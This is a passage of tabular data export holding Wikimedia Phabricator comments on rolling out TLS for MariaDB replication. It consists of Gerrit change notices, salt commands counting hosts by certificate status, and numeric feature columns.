[[https://gerrit.wikimedia.org/r/335233]]",,,1485883582,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,3.8,0.85,"Change 335233 merged by Jcrespo:
mariadb: Add TLS support for tendril

[[GERRIT_URL]]"
801096,Set up TLS for MariaDB replication,"Change 335233 had a related patch set uploaded (by Jcrespo):
mariadb: Add TLS support for tendril

[[https://gerrit.wikimedia.org/r/335233]]
",,,1485875376,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.7037037037037037,0.8888888888888888,"Change 335233 had a related patch set uploaded (by Jcrespo):
mariadb: Add TLS support for tendril

[[GERRIT_URL]]
"
801087,Set up TLS for MariaDB replication,"Change 335227 merged by Jcrespo:
sanitarium2: Enable TLS, disable Toku-specific config

[[https://gerrit.wikimedia.org/r/335227]]",,,1485873067,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.043478260869565,0.8695652173913043,"Change 335227 merged by Jcrespo:
sanitarium2: Enable TLS, disable Toku-specific config

[[GERRIT_URL]]"
801061,Set up TLS for MariaDB replication,"Change 335227 had a related patch set uploaded (by Jcrespo):
sanitarium2: Enable TLS, disable Toku-specific config

[[https://gerrit.wikimedia.org/r/335227]]
",,,1485870482,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,82,True,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.9,0.9,"Change 335227 had a related patch set uploaded (by Jcrespo):
sanitarium2: Enable TLS, disable Toku-specific config

[[GERRIT_URL]]
"
797116,Set up TLS for MariaDB replication,"MySQLs with no SSL
```
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'NULL'
13
```
MySQL with expired TLS cert:
```
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'cacert.pem'
26
```
MySQL with latest TLS cert:
```
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
120
```
",,,1485311397,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,81,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.6363636363636364,"MySQLs with no SSL
``CODE`CODE`CODE`CODE`CODE``
"
779258,Set up TLS for MariaDB replication,"Change 327703 merged by jenkins-bot:
osc_host.sh: Add skip-ssl for the connection

[[https://gerrit.wikimedia.org/r/327703]]",,,1481879069,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,76,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.6666666666666665,0.8333333333333334,"Change 327703 merged by jenkins-bot:
osc_host.sh: Add skip-ssl for the connection

[[GERRIT_URL]]"
779166,Set up TLS for MariaDB replication,"Change 327703 had a related patch set uploaded (by Marostegui):
osc_host.sh: Added skip-ssl for the connection

[[https://gerrit.wikimedia.org/r/327703]]
",,,1481874022,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,76,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.896551724137931,0.896551724137931,"Change 327703 had a related patch set uploaded (by Marostegui):
osc_host.sh: Added skip-ssl for the connection

[[GERRIT_URL]]
"
778665,Set up TLS for MariaDB replication,"I have enabled TLS on neodymium and sarin, but because the mysql clients there are not using OpenSSL, clients will fail with:

```
ERROR 2026 (HY000): SSL connection error: unknown error number
```

I said we shouldn't, but we may have to create client packages after all, to allow for TLS 1.2 clients beyond the mysql servers.",,,1481825363,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,76,True,2.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,7.0,12.0,0.0,3.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,10.0,2.0,5.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,7.0,12.0,3.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,3.683333333333333,0.7166666666666667,"I have enabled TLS on neodymium and sarin, but because the mysql clients there are not using OpenSSL, clients will fail with:

``CODE``

I said we shouldn't, but we may have to create client packages after all, to allow for TLS 1.2 clients beyond the mysql servers."
777690,Set up TLS for MariaDB replication,"MySQLs wit no SSL

```
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'NULL'
14
```
MySQL with expired TLS cert:

```
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'cacert.pem'
30
```
MySQL with latest TLS cert:

```
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
114
```
",,,1481739436,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,75,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.7272727272727273,"MySQLs wit no SSL

``CODE`CODE`CODE`CODE`CODE``
"
770475,Set up TLS for MariaDB replication,"List of eqiad hosts with the old cert:

```

db1015.eqiad.wmnet
db1021.eqiad.wmnet
db1022.eqiad.wmnet
db1036.eqiad.wmnet
db1054.eqiad.wmnet
db1060.eqiad.wmnet
db1063.eqiad.wmnet
db1067.eqiad.wmnet
db1074.eqiad.wmnet
db1076.eqiad.wmnet

db1046.eqiad.wmnet
db1047.eqiad.wmnet
dbstore1002.eqiad.wmnet
dbstore1001.eqiad.wmnet
labsdb1009.eqiad.wmnet
labsdb1010.eqiad.wmnet
labsdb1011.eqiad.wmnet
```",,,1480623325,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,74,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,13.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.7333333333333334,0.8,"List of eqiad hosts with the old cert:

``CODE``"
770464,Set up TLS for MariaDB replication,"Out of 157 active hosts responding to salt, 15 host with no TLS deployed, 42 with the old certificate, 100 with the puppet one:

```
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'NULL'
15
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'cacert.pem'
42
$ sudo salt -C 'G@cluster:mysql' cmd.run 'mysql --skip-ssl -e ""SELECT @@ssl_ca""' | grep -c 'Puppet'
100
```
",,,1480622753,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,74,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.2857142857142856,0.7714285714285715,"Out of 157 active hosts responding to salt, 15 host with no TLS deployed, 42 with the old certificate, 100 with the puppet one:

``CODE``
"
755845,Set up TLS for MariaDB replication,"Change 319831 merged by Jcrespo:
Enable ssl (TLS) on misc database servers

[[https://gerrit.wikimedia.org/r/319831]]",,,1478261031,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6363636363636362,0.9090909090909091,"Change 319831 merged by Jcrespo:
Enable ssl (TLS) on misc database servers

[[GERRIT_URL]]"
755844,Set up TLS for MariaDB replication,"Change 319831 had a related patch set uploaded (by Jcrespo):
Enable ssl (TLS) on misc database servers

[[https://gerrit.wikimedia.org/r/319831]]
",,,1478260884,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.586206896551724,0.8620689655172413,"Change 319831 had a related patch set uploaded (by Jcrespo):
Enable ssl (TLS) on misc database servers

[[GERRIT_URL]]
"
755831,Set up TLS for MariaDB replication,"Change 319806 merged by Jcrespo:
Allow SSL (TLS) and performance_schema on misc servers

[[https://gerrit.wikimedia.org/r/319806]]",,,1478256535,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,9.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,0.9130434782608695,"Change 319806 merged by Jcrespo:
Allow SSL (TLS) and performance_schema on misc servers

[[GERRIT_URL]]"
755800,Set up TLS for MariaDB replication,"Change 319806 had a related patch set uploaded (by Jcrespo):
Allow SSL (TLS) and performance_schema on misc servers

[[https://gerrit.wikimedia.org/r/319806]]
",,,1478251688,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,70,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,20.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8666666666666667,0.8666666666666667,"Change 319806 had a related patch set uploaded (by Jcrespo):
Allow SSL (TLS) and performance_schema on misc servers

[[GERRIT_URL]]
"
741815,Set up TLS for MariaDB replication,"Change 315051 merged by Jcrespo:
Update phabricator my.cnf config template to include TLS config

[[https://gerrit.wikimedia.org/r/315051]]",,,1476091530,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.545454545454546,0.8636363636363636,"Change 315051 merged by Jcrespo:
Update phabricator my.cnf config template to include TLS config

[[GERRIT_URL]]"
741806,Set up TLS for MariaDB replication,"Change 315051 had a related patch set uploaded (by Jcrespo):
Update phabricator my.cnf config template to include TLS config

[[https://gerrit.wikimedia.org/r/315051]]
",,,1476090083,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.275862068965517,0.8620689655172413,"Change 315051 had a related patch set uploaded (by Jcrespo):
Update phabricator my.cnf config template to include TLS config

[[GERRIT_URL]]
"
741802,Set up TLS for MariaDB replication,"Change 315049 merged by Jcrespo:
Change phabricator misc dbs to use puppet TLS certificates

[[https://gerrit.wikimedia.org/r/315049]]",,,1476089624,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.318181818181818,0.8636363636363636,"Change 315049 merged by Jcrespo:
Change phabricator misc dbs to use puppet TLS certificates

[[GERRIT_URL]]"
741796,Set up TLS for MariaDB replication,"Above commands as of now:
```
$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'grep -l 'server\.key' /etc/my.cnf' | grep -c '/etc/my\.cnf'
102
$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'pt-config-diff --defaults-file=/root/.my.cnf --report-width=200 h=localhost /etc/my.cnf | grep ""server\.key""' | grep -c 'server\.key'
20
```",,,1476088965,,PHID-USER-gzd4fguky5ixnvz46fvu,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,True,,,66,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.75,"Above commands as of now:
``CODE``"
741793,Set up TLS for MariaDB replication,"Change 315049 had a related patch set uploaded (by Jcrespo):
Change phabricator misc dbs to use puppet TLS certificates

[[https://gerrit.wikimedia.org/r/315049]]
",,,1476088784,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,66,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,4.103448275862069,0.8620689655172413,"Change 315049 had a related patch set uploaded (by Jcrespo):
Change phabricator misc dbs to use puppet TLS certificates

[[GERRIT_URL]]
"
669921,Set up TLS for MariaDB replication,"Count of the missing DBs that needs restart to get the puppet certs:
- 30 in eqiad over 74 configured with the new certs
- 33 in codfw over 65 configured with the new certs
- 18 External Storage that are not counted above because they are still configured with the old certs in site.pp.
 - 6 of them (es1) don't actually need it until clients needs to connect with TLS given that they are standalone (no replication).

For reference here the commands used to count them:
```
# Hosts that needs restart to get the puppet certs in eqiad
$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'pt-config-diff --defaults-file=/root/.my.cnf --report-width=200 h=localhost /etc/my.cnf | grep ""server\.key""' | grep -c 'server\.key'

# Hosts configured with the pupper certs in eqiad
$ sudo salt -C 'G@cluster:mysql and G@site:eqiad' cmd.run 'grep -l 'server\.key' /etc/my.cnf' | grep -c '/etc/my\.cnf'
```",,,1464348110,,PHID-USER-qbtoxfmd3v2vpn7foso2,False,,,PHID-TASK-wngmzob45sfg4y3xmkhq,task_subcomment,,True,c3,3,False,,,47,True,0.0,0.0,0.0,1.0,1.5,3.0,1.0,0.5,0.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,4.5,12.5,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,3.5,0.0,1.0,0.0,1.0,0.0,0.5,0.0,10.0,0.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.5,0.0,4.0,2.0,5.0,1.5,0.0,5.0,0.0,0.0,0.0,0.0,3.5,0.0,4.5,0.0,4.5,12.5,2.0,0.0,0.0,0.0,4.5,0.0,1.0,0.0,2.0,0.5,0.0,0.0,0.0,3.717330538085255,0.7484276729559749,"Count of the missing DBs that needs restart to get the puppet certs:
- 30 in eqiad over 74 configured with the new certs
- 33 in codfw over 65 configured with the new certs
- 18 External Storage that are not counted above because they are still configured with the old certs in site.pp.
 - 6 of them (es1) don't actually need it until clients needs to connect with TLS given that they are standalone (no replication).

For reference here the commands used to count them:
``CODE``"
664550,Set up TLS for MariaDB replication,"Change 288420 merged by Volans:
MariaDB: remove special SSL option multiple-ca

